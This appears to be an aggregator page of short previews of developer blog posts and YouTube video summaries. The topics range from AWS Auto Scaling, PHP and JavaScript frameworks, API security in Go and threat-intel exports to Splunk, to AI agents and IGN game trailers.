    AUTO-SCALING Auto Scaling is one of those game-changing AWS features that makes your infrastructure smart, resilient, and cost-efficient. If you've ever wondered how websites handle sudden traffic surges without crashing or burning money, this is where Auto Scaling shines. In this guide, I will walk you through the basics of AWS Auto Scaling, how to set it up, and what pitfalls to watch out for — especially if you’re just starting your cloud journey. What is AWS Auto Scaling? AWS Auto Scaling automatically adjusts the number of EC2 instances in your application based on demand. Whether your traffic spikes or drops, Auto Scaling ensures your app stays available and you only pay for what you use. ✨** Why Use Auto Scaling?** High availability during peak loads Reduced costs during low traffi…  ( 7 min )
    From Nope to "Yes, Mom, I Applied." Or almost.
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. A story about building YosYes, an AI-powered career co-pilot, with Bolt.new and my AI partner, Gemini. This isn't about winning a hackathon. As an entrepreneur who left a stable job at the British Embassy to serve on my own terms, I know the pressure of trying to build a people-focused business from the ground up while facing family expectations. "Job searching is a job of its own" as we like to say but that was not a fun one for me. A painful process of endless research and tailoring that led me to miss deadlines for roles I truly cared about. I wanted to find work that was about service, not just a salary, while still serving my customers. But we (the tools at my disposal and I) weren't ready fo…  ( 12 min )
    BLACK BOX QUANTUM AI FIREWALL: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. BLACK BOX QUANTUM AI FIREWALL - Unlock unseen security! Black Box Quantum AI Firewall uses AWS quantum power to encrypt data in real-time. One line of code delivers strong defense. Scalable and revolutionary—judges, see the future! Team Members: Akshaay Bs, Advaith Kashyap Project URL: https://devpost.com/software/black-box-quantum-ai-firewall While BLACK BOX QUANTUM AI FIREWALL represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building BLACK BOX QUANTUM AI FIREWALL wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit und…  ( 6 min )
    My Digital Breakthrough with SiteNear: From Chaos to Command
    About a year ago, I was at a digital crossroads. As a businessperson with several projects, including a clothing eCommerce site, a local directory for service providers, and a content-rich blog, I existed on the internet in several separate places. Every project ran on a separate web hosting service, and I needed different login credentials; the back end was causing headaches every time. Above all, it was highly dependent on third-party developers. It wasn't just inefficient; it was exhausting. I was welcomed by a clean, user-friendly interface, pinpointing something extraordinary: "No Credit card required!" This was especially interesting to me. The other sensational features that amazed me include: • None of the skullduggery of engineering is necessary Click the plus icon to create a…  ( 7 min )
    CODE – Currency Of Development Engineers
    In the digital economy, code is more than just instructions for machines—it’s the currency of innovation, efficiency, and value creation. For development engineers, every line of code written, optimized, or reused is a transaction in the economy of software. Just like financial currency, code must be spent wisely, invested strategically, and managed responsibly. Let’s explore how technical practices in coding mirror principles of financial discipline: Just as we aim to spend less for more value, we optimize code to consume fewer resources (CPU, memory, bandwidth) while delivering better performance. 💡 Efficient code is like a frugal budget it does more with less. Reusing well-tested modules or libraries is like reinvesting in high-performing assets. It saves time, reduces bugs, and accel…  ( 6 min )
    From Raw TCP to Real-Time Chat & File Sharing — No Socket.io, Just Sockets
    Introduction I began with UDP, a connectionless protocol that simply sends raw packets without caring about their delivery, order, or reliability. This gave me a contrast point before diving into TCP, which is connection-oriented, reliable, and stream-based. TCP uses a 3-way handshake (SYN → SYN-ACK → ACK) to establish a connection, and every client has a dedicated socket for full-duplex communication—both ends can read and write simultaneously. That got me thinking: Can I use TCP’s duplex stream to build a simple system for real-time messaging and file transfer between multiple clients? So I built it—from scratch. How It Works Message Broadcasting: File Transfers: Temporarily removes the data listener for regular messages. Listens for file chunks. Forwards file chunks to other clients. Re…  ( 6 min )
    🌟 Why Laravel Is Better Than Other PHP Frameworks
    In the PHP world, frameworks like CodeIgniter, Symfony, Yii, and Zend have played major roles in web development — but Laravel has rapidly become the most popular and developer-friendly among them. With elegant syntax, modern tools, and a thriving ecosystem, Laravel stands out as the top choice for building scalable, secure, and feature-rich applications. Here’s a detailed look at why Laravel is better than other PHP frameworks, especially for modern developers and teams. 🧠 1. Clean & Expressive Syntax 🧰 2. Feature-Rich Out of the Box Feature Laravel CodeIgniter Symfony ⚙️ 3. Artisan CLI = Developer’s Power Tool 🔧 4. Blade Templating Engine 🔗 5. Laravel Ecosystem is World-Class Laravel Nova – Admin panel Laravel Breeze / Jetstream – Auth scaffolding Laravel Horizon – Queue monitoring L…  ( 6 min )
    How I Turned a Voice AI Demo Into a Real SaaS App — Auth, Access, and Limits
    In Part 1, I shared how I built a voice-first AI tutor using Vapi, Next.js, and GPT-4. It was fast, expressive, and surprisingly helpful. But it was also... wide open. No user accounts. No access control. No usage limits. Just a playground. Now it was time to turn that prototype into a real product — with authentication, protected dashboards, credit-based usage, and a way to know who’s actually using it. Too often, early-stage AI tools ship as flashy demos without real product boundaries. They impress on launch day — but fizzle fast: No login? You don’t know who your users are. No limits? Users spam GPT-4 at your cost. No structure? Hard to scale or monetize. If you're building AI-first tools, productizing GPT isn't optional. The most successful AI apps treat access, usage, and UX as first…  ( 11 min )
    Andrew Huang: 10 free online tools for musicians!
    A handy roundup of 10 completely free online tools every musician needs—no wallet required. You’ve got a solid metronome (Musicca), a massive sound library (Freesound), a quick tuner (The Online Metronome), creative writing/production prompts, a reverse chord identifier, a virtual piano, a note-frequency chart, interactive Ableton-style music-making tutorials, plus a nifty inspiration generator for those creative blocks. On top of that, Andrew Huang sprinkles in links to his YouTube channel, plugin, book, course, Patreon, Discord and all his socials, plus his go-to gear and software picks. Dive in, bookmark your favorites, and get ready to make some music magic without spending a dime! Watch on YouTube  ( 5 min )
    IGN: Hela - Official Release Window Announcement Trailer | Nintendo Direct Partner Showcase 2025
    Hela puts you in the tiny paws of a fearless mouse for a co-op 3D romp through wilds inspired by Scandinavia. Gather up to three pals for local split-screen or team up online to explore breathtaking landscapes and tackle fun challenges together. Set to hit Nintendo Switch 2, PS5, Xbox Series X/S, Steam, and Epic Games Store in 2026, this adorable adventure was teased at the Nintendo Direct Partner Showcase 2025. Watch on YouTube  ( 5 min )
    IGN: Just Dance 2026 Edition - Official Reveal Trailer | Nintendo Direct Partner Showcase 2025
    Ubisoft’s Just Dance 2026 Edition just got a flashy reveal trailer, and it’s bringing the party to Nintendo Switch on October 14. Strap on your dancing shoes because this latest installment serves up over 40 fresh tracks. From Dua Lipa’s “Houdini” and OneRepublic’s “Counting Stars” to Madonna’s “Hung Up” and ROSÉ & Bruno Mars’ “APT.” (plus a cheeky nod to Smash Mouth’s “All Star”), there’s no shortage of bangers to keep you busting moves all day. Watch on YouTube  ( 5 min )
    IGN: NBA Bounce - Official Gameplay Reveal Trailer | Nintendo Direct Partner Showcase 2025
    NBA Bounce serves up a fast-and-fun 3v3 arcade basketball experience with super-snappy controls, a lineup of playful game modes, and a family-friendly vibe. The trailer—unveiled during the Nintendo Direct Partner Showcase—gives us a taste of all the high-energy action you can expect. Mark your calendars for September 26, when NBA Bounce tips off on PS4, PS5, Xbox One, Xbox Series X|S, Nintendo Switch, and PC. Watch on YouTube  ( 5 min )
    IGN: Romancing Saga 2: Revenge of the Seven - Official Nintendo Switch 2 Trailer | Nintendo Direct 2025
    Romancing SaGa 2: Revenge of the Seven just dropped a fresh Switch 2 trailer, flaunting slick high-def visuals, spruced-up graphics, and all the deep RPG action you’d expect. Even better? A demo’s live now on Switch, so you can dig into the adventure before the full game lands. First unveiled during the July 31 Nintendo Direct, this sneak peek cranks up the hype for one of the series’ most anticipated reboots. Whether you’re a die-hard SaGa veteran or totally new to the franchise, Revenge of the Seven is shaping up to be a can’t-miss RPG. Watch on YouTube  ( 5 min )
    IGN: Chillin' By The Fire - Official Launch Trailer | Nintendo Direct Partner Showcase 2025
    Chillin’ By The Fire is a low-poly cozy campfire game from Oink Games where you build and maintain fires in dreamy spots like beaches, forests or snowy mountain tops. Gather ‘round the virtual flames, roast marshmallows and soak up the chill vibes. Set to launch July 31 exclusively on Nintendo Switch 2, the Official Launch Trailer just dropped during the Nintendo Direct Partner Showcase 2025. Get ready to light up your next digital campout! Watch on YouTube  ( 5 min )
    IGN: NBA 2K26 - Official Gameplay Trailer
    NBA 2K26’s official gameplay trailer is here! Visual Concepts is bringing an all-new Dynamic Motion Engine, upgraded Rhythm Shooting and plenty of tweaks to make every dribble, pass and shot feel smoother and more realistic. Mark your calendars: NBA 2K26 tips off on September 5 for PS4, PS5, Xbox One, Xbox Series X|S, Nintendo Switch 2 and PC (Steam). Watch on YouTube  ( 5 min )
    IGN: Star Wars Outlaws - Official Nintendo Switch 2 Dev Featurette | Nintendo Direct Partner Showcase
    Get ready to slip into Kay Vess’ boots in Star Wars: Outlaws, a slick third-person action-adventure set between Empire Strikes Back and Return of the Jedi. In this Nintendo Switch 2 featurette, Massive Entertainment and RedLynx give us a behind-the-scenes look at how they’re bringing the game to life—complete with flashy combat, heists and a handful of scummy crime syndicates to ally with or betray. Mark your calendars for September 4, when Star Wars: Outlaws lands on Switch 2 and lets you carve your own path through a familiar yet dangerous galaxy. Watch on YouTube  ( 5 min )
    IGN: IGN's Greatest Racing Game of All Time Bracket Building Livestream
    Ready, set, draft! IGN is kicking off its “Greatest Racing Game of All Time” bracket livestream where the IGN crew picks the initial matchups and you decide who zooms ahead. After the bracket is set, head over to greatestracinggame.ign.com to lock in your predictions and vote on which titles make it to the next round. Get your bracket dead-on and you could score an Xbox Series X or PlayStation 5, four top racing titles, a Logitech G923 wheel setup, plus a year of Peacock and Prime Video. Brought to you by Toyota Gazoo Racing. #IGN #Gaming Watch on YouTube  ( 5 min )
    IGN: EA Sports FC 26 - Official Nintendo Switch 2 Trailer | Nintendo Direct Partner Showcase 2025
    EA Sports FC 26 is kicking off on Nintendo Switch 2 this September 26, 2025, as revealed in the Nintendo Direct Partner Showcase 2025. The new trailer dives straight into the on-pitch action, showing off crisp animations, realistic ball physics, and electric stadium atmospheres on the handheld console. Get ready to pull off slick passes, nail-biting shots, and dynamic celebrations wherever you go—EA’s latest football epic is bringing full-pitch immersion to your pocket. Watch on YouTube  ( 5 min )
    IGN: Rick and Morty Season 8 Review
    Rick and Morty Season 8 starts off on a pretty underwhelming note, leaning hard on recycled tropes and ideas that feel more meh than mind-blowing. The first half just can’t quite recapture the mad sci-fi spark we’ve come to love. Thankfully, things turn around big time with “Nomortland” (Chris Parnell stealing the show in a wild multi-Jerry extravaganza) and “Hot Rick,” where Rick finally has to face how his antics keep wrecking his family. It might not be the series’ most consistent run, but when it’s good, it’s still pure comedy gold. Watch on YouTube  ( 5 min )
    I hated React, so I created my own web framework, Nijor !
    Origin Story In 2020, at the age of 14, I stumbled upon React. Its complexity intimidated me, but the idea of custom HTML tags through components sparked my curiosity. Inspired by React and Vue, I set out to build my own web framework from scratch. By the end of the year, after countless hours of effort, I had created Nijor : a lightweight framework powered by JavaScript classes which allowed developers to write custom HTML tags. I was just shy of my 15th birthday when I completed the first version. The name Nijor comes from the Assamese word "নিজৰ," meaning "my own." It reflects the framework’s core philosophy: empowering developers to craft their own custom HTML tags with unique attributes, tailored to their needs. Reusable Components : Nijor lets you write modular, reusable components in *.nijor files. This keeps your codebase clean, organized, and easier to debug, saving time and effort. Scoped CSS : Say goodbye to CSS conflicts. Nijor scopes styles to individual components, ensuring they don’t interfere with each other. Need global styles? Just add them to style.css. Effortless Routing : Nijor’s file-system-based client-side router works out of the box. No configuration or extra code is needed, and it supports parameterized routing for dynamic pages. Server-Side Rendering (SSR) : Nijor supports SSR with a unique approach, setting it apart from other frameworks and enabling faster page loads. Reactivity (Beta) : Experiment with reactive variables using a specialized JavaScript syntax. While still in development, this feature lays the groundwork for dynamic, responsive applications. Nijor uses Rolldown (earlier used Rollup) and JSDOM behind the scene to compile all the *.nijor files to browser readable *.js files. Ready to explore ? Check out the Nijor Docs.  ( 5 min )
    👋 What is SqueHub?
    SqueHub is a modern PHP framework designed to help developers build scalable, secure, and elegant web applications with minimal overhead. Inspired by Laravel but built to be lightweight and flexible, SqueHub is perfect for those who want full control over their stack without sacrificing developer experience. 🧠 Blade-like templating engine Includes *@include, @section, @yield, @extends, and more. **🧩 Simple routing system **🔒 CSRF protection out of the box 📦 Composer-based packages , squehub/dataAnalyst, and more. **🔧 MVC architecture **⚡ Fast performance **📈 Recent Improvements (v1.2.0) Blade-style control structures: @if, @foreach, @else, @endif, etc. SEO meta tags, sitemap generator, and robots.txt support More flexible URL routing with middleware support Custom .squehub.php view extension handling View caching system (via storage/cache/) 🌍 Who Is It For? Backend devs who prefer PHP and control Educators and learners seeking clarity without bloat Teams who want customizable foundations *📌 Get Started 🚧 Official site: https://www.squehub.com https://www.github.com/squehub 🙌 Join the Community SqueHub **is open-source and actively evolving. We’re looking for early adopters, contributors, and PHP enthusiasts to help shape the future of the framework. 👉 Follow this org for updates 💬 Drop questions, feedback, or ideas in the comments 🤝 Interested in contributing? Let’s connect!  ( 5 min )
    Securing REST APIs in Go (Echo Framework Edition)
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. APIs are a goldmine for attackers if not properly secured. In this guide, we’ll lock down an API built using the Echo web framework. The focus will be on securing headers, input validation, rate limiting, and other best practices. Install Echo and required dependencies: go get github.com/labstack/echo/v4 go get github.com/labstack/echo/v4/middleware Security headers protect against attacks like MIME sniffing, clickjacking, and XSS. e.Use(middleware.SecureWithConfig(middleware.SecureConfig{ XFrameOptions: "DENY", …  ( 7 min )
    React Native Storybook Toggle
    🚀 Development Toggle for React Native: Seamless App/Storybook Switching in __DEV__ Mode Testing UI components in isolation with Storybook is awesome, but context switching can be a pain. Here’s how I implemented a floating toggle button that lets you instantly switch between your main app and Storybook—only in development mode—for maximum developer efficiency. Position: Top-left, with safe area insets (handles iOS notches/Dynamic Island) Design: Blue circular button with outline Ionicons Visibility: Only appears when __DEV__ is true Icons: library-outline (shows when in main app — tap to switch to Storybook) apps-outline (shows when in Storybook — tap to switch back) showStorybook boolean in RootLayout controls which view is active Tapping the button toggles Storybook/App State …  ( 6 min )
    What Happens After You Log a Bug? The QA Perspective
    Finding and reporting bugs is a key part of the job of every QA. While we are testing some software products, we often find bugs that we report in the form of a bug ticket in some Issue & Project Tracking Software. Many think that after reporting the bug, the job of the QA is done, but in reality, QA plays an active role throughout the bug lifecycle, from opening to its resolution. Continue reading this post on my blog: http://qalogy.com/what-happens-after-you-log-a-bug-the-qa-perspective/  ( 5 min )
    Self-Taught Java Dev Targeting NYC: Beyond Spring Boot/SSM, What Skills Maximize Junior Role Competitiveness?
    Hi everyone, I'm a self-taught developer targeting junior Java roles in NYC. I've built projects with: Backend: Spring Boot, SSM (Spring MVC + MyBatis), REST APIs Tools: Maven, Git, MySQL Basic Frontend: HTML/CSS, JavaScript To align with NYC job expectations, I'd like to focus on high-impact areas: Technical Priorities: Are cloud skills (AWS/Azure) or containerization (Docker/K8s) critical for junior roles? Should I deepen testing (JUnit/Mockito) or learn microservices (Spring Cloud)? Local Tool Trends: Do NYC companies prefer specific CI/CD tools (Jenkins vs. GitLab)? Is React/Angular familiarity expected for full-stack junior roles? Portfolio Optimization: Are cloud-deployed projects (e.g., AWS EC2) more impressive than local-hosted ones? I aim to invest time strategically. Any NYC-specific insights would be greatly appreciated!  ( 5 min )
    How to Use Tailwind CSS v4 in Docusaurus Without Breaking Its Styles🦖
    Tailwind v4 is fast, powerful, and modern but if you're trying to use it in a Docusaurus site, you'll probably run into one major issue: Tailwind’s base styles (preflight) override Docusaurus’s own CSS. This quick guide shows you how to install Tailwind CSS v4 into a Docusaurus project safely, so that Tailwind only affects your custom components, and doesn’t break the rest of your site. Run the following in your project root: npm install -D tailwindcss postcss @tailwindcss/postcss Create a file at: src/plugins/tailwind-config.js Paste this inside: module.exports = function tailwindPlugin(context, options) { return { name: "tailwind-plugin", configurePostCss(postcssOptions) { postcssOptions.plugins.push(require("@tailwindcss/postcss")); return postcssOptions; }, …  ( 6 min )
    https://outfitmasters.com/advantages-of-quantum-computing/
    Advantages of Quantum Computing 1. Superfast Data Processing One of the biggest advantages of quantum computing is its incredible processing power. Problems that take years to solve on regular computers could be handled Advantages of quantum computing in just a few minutes using a quantum computer. therefore This makes it ideal for handling big data, simulations, and complex calculations . 2. Breakthroughs in Scientific Research Quantum computers can simulate molecules and chemical reactions with extreme precision. This could help researchers discover new medicines, develop advanced materials, and understand biological in other words systems better. It opens up opportunities that are not possible with classical computing. 3. Solving Optimization Challen…  ( 8 min )
    How to use Python to automate cleaning service management
    Ever had one of those weeks where you’re juggling a million things—kids, work, oh, and keeping your house clean? Yeah, been there. I remember once booking a cleaning service over the phone, and by the time I confirmed everything, I’d already forgotten half of what I’d asked for. That’s when I thought, “There’s gotta be an easier way to manage this, right?” If you’ve ever used Cleaning Services Evanston, you know it can get busy—schedules change, tasks pile up, and suddenly, you’re double-booked. I figured, if I can automate my grocery list, why not cleaning service scheduling too? Python, surprisingly, makes it possible without feeling like you’re coding a rocket launch. APIs – Fancy word for “talking to apps automatically.” Schedulers – Think: a calendar on autopilot. Data parsing – Basic…  ( 6 min )
    📘 [En validación] Qué preguntar a tu arquitecto de software antes de pagarle (guía para CEOs)
    Estoy escribiendo un eBook llamado: “Qué preguntar a tu arquitecto de software antes de pagarle” Porque seamos honestos: hay muchas decisiones técnicas que los CEOs no técnicos no saben cómo evaluar, y los errores cuestan carísimo. Esta guía estará enfocada en: ✅ Cómo saber si un arquitecto entiende tu negocio, no solo la tecnología ⸻ 👉 ¿Te interesaría leerlo cuando lo publique? Dame un ❤️ o comenta para que te tenga en cuenta. Si al menos 100 personas lo quieren, ¡lo lanzo!  ( 5 min )
    Why scope creep is every PM's nightmare - When small changes stretch into infinity
    Scope creep is a term that sends shivers down the spine of project managers. It’s the silent threat that can turn a well-planned project into a chaotic mess. But what exactly is scope creep, why does it happen, and how can project managers prevent it? This article dives deep into the causes, consequences, and actionable strategies to manage scope creep, offering practical value for anyone looking to keep their projects on track. Scope creep refers to the uncontrolled expansion of a project’s objectives, deliverables, or requirements after the project has started. It often begins with small, seemingly harmless changes like a client requests an extra feature, a stakeholder suggests a minor tweak, or a team member proposes an improvement. Over time, these changes accumulate, stretching the pr…  ( 9 min )
    Understanding Value as a Developer: A Career Superpower
    Early in your career as a developer, it’s easy to focus on the technical skills. You want to write cleaner code, learn new frameworks, and become faster at building features. All of those matter. But if you want to accelerate your growth and stand out, there’s one thing that will set you apart far more than your coding ability: understanding how your company defines value. ⸻ The Story: How a Junior Dev Became My Replacement A number of years ago, I accidentally hired my replacement. He was fresh out of coding school, smart, curious, and excited to learn. At first, he asked a lot of questions about the codebase. Then, something shifted. Instead of just asking how things worked, he started asking why we were building certain features. He wanted to know what the product manager ca…  ( 6 min )
    👨‍💻 Teach Yourself CS — A Self-Taught Developer’s Roadmap to Computer Science
    Are you a self-taught developer or bootcamp grad who wants to build solid computer science fundamentals without spending years or a fortune on a degree? Teach Yourself CS curates the best resources to learn CS topics deeply, answering what you should learn and why it matters, not just dumping endless course lists. 💡 Why use Teach Yourself CS? ✅ Covers key CS subjects: algorithms, data structures, systems, networking, databases, compilers, security, and more ✅ Links to the best recommended books and lectures for each topic ✅ Structured to help you grow from an application developer to a strong engineer 🎯 Ideal for: Self-taught devs strengthening core CS knowledge Bootcamp grads bridging gaps in theory Engineers aiming for interviews at top tech companies Build real confidence by understanding how computing truly works. 🔗 teachyourselfcs.com  ( 5 min )
    IGN: Yakuza Kiwami 1 & Kiwami 2 - Official Nintendo Switch 2 Trailer | Nintendo Direct Partner Showcase
    Yakuza Kiwami 1 & 2 Are Coming to Nintendo Switch 2 Get ready to step back into Kamurocho with fully remastered versions of Yakuza Kiwami and Kiwami 2! The brand-new Nintendo Switch 2 trailer (revealed during the July 31 Nintendo Direct) teases sprawling cityscapes, brutal beat-’em-ups and a ton of addicting mini-games to sink your teeth into. Both titles launch worldwide on November 13 exclusively for Nintendo Switch 2—so sharpen your swords, dust off your dragon tattoo and prepare to reclaim the streets in style. Watch on YouTube  ( 5 min )
    IGN: Hello Kitty Island Adventure - Official Wheatflour Wonderland DLC Reveal Trailer | Direct 2025
    Hello Kitty Island Adventure is getting its first DLC, Wheatflour Wonderland, and it looks utterly dreamy. Expect rolling fields of waving grain, dazzling stained-glass castles, mysterious ruins to explore and a sprinkle of magic around every corner. Mark your calendars for Fall 2025—Wheatflour Wonderland launches on Nintendo Switch, PS5 and PC (Steam). Pack your explorer’s hat (and maybe a snack) for this whimsical update! Watch on YouTube  ( 5 min )
    IGN: Ninja Gaiden: Ragebound - Official Launch Trailer
    Ninja Gaiden: Ragebound – TL;DR Ninja Gaiden: Ragebound just dropped on PC (Steam), Switch, PS5, PS4 and Xbox Series X|S. This 2D side-scrolling action-platformer from Dotemu and The Game Kitchen (creators of Blasphemous) brings classic ninja combat back in style. The veil between humans and demons has shattered, opening a gateway to darkness. While Ryu Hayabusa heads off to avenge his father, fledgling Hayabusa Clan ninja Kenji Mozu must step up, slice through evil forces and save the day. Watch on YouTube  ( 5 min )
    IGN: The Conjuring: Last Rites Director on the End (and Future) of the Horror Franchise
    Michael Chaves reveals how The Conjuring: Last Rites ties the Warrens’ very first demon-hunting case to their final showdown, closing the loop on Ed and Lorraine’s epic journey and giving fans a chilling sense of full-circle destiny. He also teases the future of the Conjuring universe, hinting at fresh scares, potential spin-offs, and new twists that could keep the horror legacy alive long after Last Rites. Watch on YouTube  ( 5 min )
    IGN: The Conjuring: Last Rites - Exclusive Trailer (2025) Vera Farmiga, Patrick Wilson
    The Conjuring: Last Rites is the ninth big-screen scarefest in New Line Cinema’s hit horror universe, reuniting Vera Farmiga and Patrick Wilson as real-life paranormal sleuths Lorraine and Ed Warren for one last spooky case. They’re joined by Mia Tomlinson and Ben Hardy as their daughter Judy Warren and her beau, plus fan-favorite Father Gordon (Steve Coulter) and a fresh cast of ghouls and humans alike. Directed by franchise alum Michael Chaves and produced by horror heavyweights James Wan and Peter Safran, the film boasts a script from Ian Goldberg, Richard Naing, and David Leslie Johnson-McGoldrick, plus top-tier talent behind the camera—from cinematographer Eli Born to composer Benjamin Wallfisch. Catch it exclusively in theaters and IMAX on September 5, 2025 (September 3 internationally). Watch on YouTube  ( 5 min )
    How to export indicators from XSOAR to Splunk
    Exporting LOLBAS Indicators from XSOAR to Splunk as a Threat Intelligence Feed This blog post walks through how to export indicators (specifically from the LOLBAS project) from Cortex XSOAR into Splunk using the Generic Export Indicators Service and configure Splunk to ingest the feed as a Threat Intel Lookup. Part 1: Setting Up XSOAR Step 1: Enable LOLBAS Integration First, you need to configure XSOAR to ingest indicators from LOLBAS. Go to Settings → Integrations → Instances. Search for the LOLBAS integration. Click Add instance and configure it: Set the fetch interval. Make sure “Fetch Indicators” is enabled. Provide any other required fields depending on the version of the integration. Click Test to ensure the integration is working correctly. Save and enable the insta…  ( 7 min )
    I Wanted to Learn Faster — So I Built a Voice AI Tutor with GPT-4 in a Weekend
    A few months ago, I noticed something frustrating. I’d spend hours trying to learn new concepts — watching videos, reading articles, or chatting with ChatGPT. But it still felt slow. Clunky. Passive. Typing questions felt like homework. Scrolling for the “right” explanation was exhausting. So I asked myself: What if learning felt more like a conversation? That question turned into Learnflow AI — a voice-powered learning assistant you can talk to, like a personal tutor on demand. In this series, I’ll show you exactly how I built it — from zero to a real-time, voice-enabled GPT-4 app using Vapi, Next.js, and OpenAI. Learnflow AI is a voice-first learning interface — think ChatGPT, but you don’t type. You talk, and the AI talks back in real time. It uses Vapi.ai for streaming voice interactio…  ( 11 min )
    JavaScript Array Methods Under the Hood: Push and Pop Explained
    JavaScript array methods push(), pop(), shift(), unshift(), and splice() are used every day by developers, but do you know how they work under the hood? In this article, we’ll break down the internal mechanics of these methods, explore their time and space complexities, and explain why some are faster than others. Whether you’re preparing for technical interviews or simply want to write more efficient code, understanding these fundamentals is a must. Let's start by defining arrays. Arrays are data structures used to store a collection of items in a single variable. These items can be of any data type, such as numbers, strings, objects, or even other arrays. In JavaScript, arrays are index-based. This means that each item is assigned a position (starting from index 0), making it easy to acc…  ( 6 min )
    Cercle: NTO, Sofiane Pamart - Loyalty (Cercle Odyssey Live Version)
    Loyalty (Cercle Odyssey Live Version) by NTO and Sofiane Pamart reimagines the original track as a live piano-to-synth journey that swings between tender melodies and pulsing techno beats, unveiling fresh textures in a stunning Cercle Odyssey session. French melodic-techno maestro NTO—whose signature sound has rocked Tomorrowland, Printworks and beyond—joins forces with classically trained pianist Sofiane Pamart, the genre-blurring composer who’s made waves by weaving rap influences into cinematic piano pieces. Together they create an unexpected, boundary-pushing performance. Watch on YouTube  ( 5 min )
    KEXP: Momma - Last Kiss (Live on KEXP)
    Momma tore it up in the KEXP studio with a fiery live take on “Last Kiss,” recorded May 15, 2025. Guitarists and vocalists Allegra Weingarten and Etta Friedman teamed up with Aron Kobayashi Ritch on bass and Preston Fulks on drums, all under the enthusiastic guidance of host Cheryl Waters. The session’s crystal-clear sound comes courtesy of audio engineer Kevin Suggs, mix wizard Joey Oaxaca and mastering ace Matt Ogaz, while cameras by Carlos Cruz, Jim Beckmann, Luke Knecht and Ettie Wahl (edited by Beckmann) capture every beat. Dive deeper at mommaband.com or kexp.org. Watch on YouTube  ( 5 min )
    Polyphonic: What's the Point of Music Biopics?
    Watch on YouTube  ( 4 min )
    20 Million Users in 3 Months: What This Means for AI Coding Competition
    The landscape of AI coding tools is undergoing a remarkable transformation, with GitHub Copilot leading the charge as it recently surpassed the impressive milestone of 20 million users. This surge represents an increase of five million users within just the last three months, emphasizing the tool's rapid acceptance and popularity among developers. However, the race does not end here; competition is fierce as other heavyweights like Google and OpenAI strive to carve out their niches in the burgeoning market for AI-assisted coding. With growing interest from enterprise customers, indeed, 90% of Fortune 100 companies have integrated GitHub Copilot into their workflows. This growth not only illustrates the evolving role of AI in software development but also highlights the increasing significa…  ( 15 min )
    High-Performance Code Analysis Engine for Claude Code in C++17
    Background and Motivation The need for high-speed code analysis for AI development with tools like Claude Code. The Python version reached its performance limits in large-scale projects. Re-implemented in C++17 to achieve a 10-100x performance improvement. Technical Choices Parser Selection From std::regex to PEGTL (Parsing Expression Grammar Template Library) Escaping "regex hell." Parallel Processing Design Leveraging std::execution::par_unseq Controlling I/O thread count (--io-threads) Optimizing CPU-bound processing Implementation Innovations Language-Specific Hybrid Strategy TypeScript: PEGTL + string parsing fallback C++: Support for template and macro parsing Python: Special handling for indentation-based syntax Memory Optimization 180x speed improvement through session management Caching strategy Results and Measured Performance Project Number of Files Detected Functions Processing Time What We Learned The limitations of regular expressions and alternative methods The practicality of C++17 parallel processing The importance of a language-specific parsing strategy Future Outlook Support for more languages Optimization specifically for Claude Code Source Code GitHub: https://github.com/moe-charm/nekocode Video Demo See it in action here: https://www.youtube.com/watch?v=I9Nij1KgTPw  ( 5 min )
    Cost Breakdown: Outsourcing Rates by Region in 2025 (vs 2020–2025)
    If you haven’t reviewed outsourcing pricing since the pandemic, brace yourself. Rates have changed — a lot. Between inflation, remote work normalization, and AI-driven productivity shifts, the global outsourcing map in 2025 looks very different from what it did even two years ago. Average rate (2020): $30–45/hour Average rate (2025): $45–65/hour Popular destinations: Poland, Ukraine, Romania, Serbia Why the change? The region has matured. Developers now expect parity with Western peers, especially in cities like Warsaw or Bucharest. Many firms pivoted from outsourcing to product development during 2022–2023, reducing labor supply. Still a good fit for: Complex backend development, security-sensitive fintech products, long-term team extension. Average rate (2020): $18–28/hour Average rate (…  ( 6 min )
    Write Code Like Sherlock Holmes: The Art of Deductive Development 🔍
    I've always found Sherlock Holmes to be an interesting character in stories. Ever since that first story I've been fascinated by the detective and can't get enough of reading his stories as told by Dr. Watson. So much so, that I've come up with a few principles to take from the great detective that I apply when it comes to software engineering. Both Holmes and great developers solve complex problems by gathering comprehensive information, forming theories based on evidence rather than assumptions, tracing issues to their source, and collaborating to validate their reasoning. Whether you're planning a new feature, debugging a production issue, or architecting a system, here are a few ways to apply the skills of the detective to your next goal. "Before I can judge what is or is not relevant,…  ( 9 min )
    Running Playwright Tests on Pull Requests
    Image by Patrick Fore from Unsplash. Traditionally, after integrating new features into an application, it's common practice to run end-to-end tests in a staging or pre-production environment post-merge to catch any issues that might disrupt existing functionalities. However, this approach can sometimes delay the identification of errors until after changes are merged, potentially complicating fixes and impacting development flow. In this tutorial, we pivot from this conventional method by exploring how to leverage Playwright for end-to-end (e2e) testing directly at the Pull Request stage. In this tutorial, we will use a demo application to show how you can run tests on a Pull Request in Kubernetes using Signadot. We'll be using HotROD as our application. It is a simple ride-sharing applic…  ( 10 min )
    [Boost]
    How to Use AI Agents in Supply Chain & Logistics Can Mingir for GreyCollar ・ Jul 31 #ai #machinelearning  ( 4 min )
    The Next Frontier in AI: Understanding Agentic AI and Its Transformative Potential
    Introduction Artificial Intelligence (AI) continues to evolve at a breakneck pace, reshaping industries and redefining how businesses operate. Just when you think you’ve grasped the latest advancements, a new wave emerges, Agentic AI. Imagine having an elite team of experts who collaborate seamlessly, analyze data in real time, and make high-stakes decisions autonomously. What if you could replicate your best performers, only faster, smarter, and available 24/7? That’s the promise of Agentic AI, a revolutionary approach that brings unprecedented autonomy, adaptability, and intelligence to AI systems. In this article, we’ll explore: What Agentic AI is and how it differs from traditional AI Key characteristics that set it apart Real-world applications across industries When and why businesse…  ( 7 min )
    How to Use AI Agents in Supply Chain & Logistics
    Before anything else, what are AI Agents? AI Agents are autonomous versions of LLMs used for decision-making, and the main reason is they are highly effective at complex tasks by breaking them down into smaller, manageable steps. In addition, they can perform interactive actions such as retrieving data from databases, making API calls, or even reaching out to humans for additional information. AI Agents are often compared with LLMs, but their usage in enterprise systems is very different. Today, microservices are considered best practice and can be written in multiple languages like Java or Python. Traditional coding is great at highly complex algorithm and deterministic requirements, but AI Agents can be replaced some of those microservices if particular module requires large number of bu…  ( 6 min )
